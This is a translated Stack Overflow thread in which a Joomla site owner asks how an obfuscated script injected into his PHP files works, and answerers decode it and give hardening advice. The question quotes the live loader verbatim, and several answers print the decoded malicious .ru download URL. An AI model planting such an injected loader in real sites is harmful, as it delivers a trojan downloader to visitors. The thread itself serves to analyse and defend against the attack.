该站点感染脚本如何工作?


99

我的Joomla!网站已被多次入侵。有人以某种方式设法将以下垃圾注入了关键的php脚本,但我的意思是不谈论配置Joomla。该站点的访问量很少(有时我担心我可能是该站点的唯一访问者...),而且我不太在乎如何备份和运行该站点。我最终会解决的。

我的问题是,这种垃圾如何起作用?我看了一下,只是看不出这怎么造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了特洛伊木马,打开后将冻结Acrobat,并在计算机上造成严重破坏。它是如何做到的,我不知道,我不在乎。但是下面的脚本如何调用下载?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET已将此代码检测为JS / TrojanDownloader.Agent.NRO木马


41
请不要因为好奇而徘徊以查看链接!
DOK 2010年

1
是的,不要四处寻找问题所在,魔术在于对URL进行简单编码,然后使用在行尾看到的Replace / RegEx对字符串进行后续的解码/解析。
DoctorLouie 2010年

13
首先,“脚本”读起来很像其他东西。
Aditya MP

Answers:


181

注意replace巨大的混乱字符串之后的呼叫:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

它将删除大多数特殊字符,将其转换为普通URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(我手动更改http:evil:

请注意,正则表达式可以简化为 .replace(/[#$@^&()!]/ig, '')

如果看一下脚本,您会发现它是一个非常简单的脚本,它注入了一个隐藏的IFRAME,其中包含/index.php?ys来自同一域的路径。

我在Fiddler中请求该页面,但该页面没有内容。


6
我认为编写提供iframe内容的脚本是为了避免每次都开始pdf下载。可能有十分之一的机会或类似的机会。每次刷新joomla页面时,它都没有尝试下载pdf。甚至有可能是百分之一......谁知道?
PeterPerháč10年

174
+1表示该代码可以更有效地编写。:)
Pekka 2010年

8
@Pekka,我认为它是故意这样写的,以使其更加晦涩
椭圆视图

7
绝对是@Elipticalview。如果作者担心效率问题,那么他肯定不会使用RegEx替换来派生静态字符串。大声笑。
丹·贝查德

我看不到不区分大小写的模式修饰符对没有字母的模式有什么用。+如果使用正则表达式,我也会在字符类之后使用a 。
mickmackusa

34

这些答案可能有助于您了解恶意JavaScript代码的性质,但是您应该寻找的是一种消除Joomla引擎中固有漏洞的方法。预包装的框架容易出现漏洞,无论是有意还是无意的,尤其是当您考虑到它们是为在unix,mac和Windows环境下工作而设计的。

我的工作要求我为客户端和我自己在许多类型的服务器和系统上运行许多域,应用程序和框架。随着时间的流逝,我看到越来越多的机器人在爬这些系统,以寻找由那些框架创建的后门入口的已知漏洞/入口。当我使用很少使用的任何类型的框架时,这是一件好事,我确保重命名大多数(即使不是整个文件结构)以摆脱那些令人讨厌的漏洞/后门。至少您可以重命名将使大多数机器人无法使用的目录,但是我的方法是完全消除那些提供有关框架性质线索的引用,其中包括重命名整个文件结构而不仅仅是目录。始终保持相对于旧命名约定的新命名约定的映射,以使向基本框架中添加插件变得容易。一旦掌握了这一点,就可以通过编程方式重命名整个框架文件结构,以更快地获得结果,这在必须处理需要使用插件等更新其框架的客户端时特别有用。


1
只是不要删除有关框架源的信息,那肯定是错误的。
DoctorLouie 2010年

2
噢,谢谢。那是一个很好的答案。并未真正回答问题,但仍然+1,因为这确实是一个非常有趣的阅读内容,并提出了很好的建议。Ta
PeterPerháč10年

20

它只是在脚本URL上执行正则表达式替换而已

注意:请勿遵循以下链接(插入**以阻止复制粘贴)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

作为 src


就这么简单,是吗?我的天哪...我再次被SO所骗:)
PeterPerháč10年

23
那是一个有趣的URL。
乔丹(Jordan)2010年

@Josh-由您决定,我尚未尝试过,因此无法确切告诉您原因。我怀疑页面上可能存在恶意脚本。您可以自行承担风险!
Russ Cam 2010年

8

它使用replace函数通过正则表达式替换垃圾字符,代码没有错:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

其加载脚本来自

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

该脚本iframe从可见性中加载hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys


2

我在index *。*文件中的页面上有同样的内容。我正在用PHP编写自己的代码。我的问题不是这如何工作,但我想问的是如果您知道他们的后门,该如何保护。我更改了表单,并通过替换<>和http://等读取$ _POST和$ _GET。


2

我的两分钱。您是否可以安装Joomla备份工具(例如Joomlapack)?

我已将其设置为通过CHRON脚本运行,以使商品方便抢劫,以防抢劫者抢劫。

您正在运行什么版本的Joomla?

1.0.X版本不再更新,而且它的年龄确实开始显示。您应该自己备份并计划升级到1.5,并期待1.6的奇迹

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.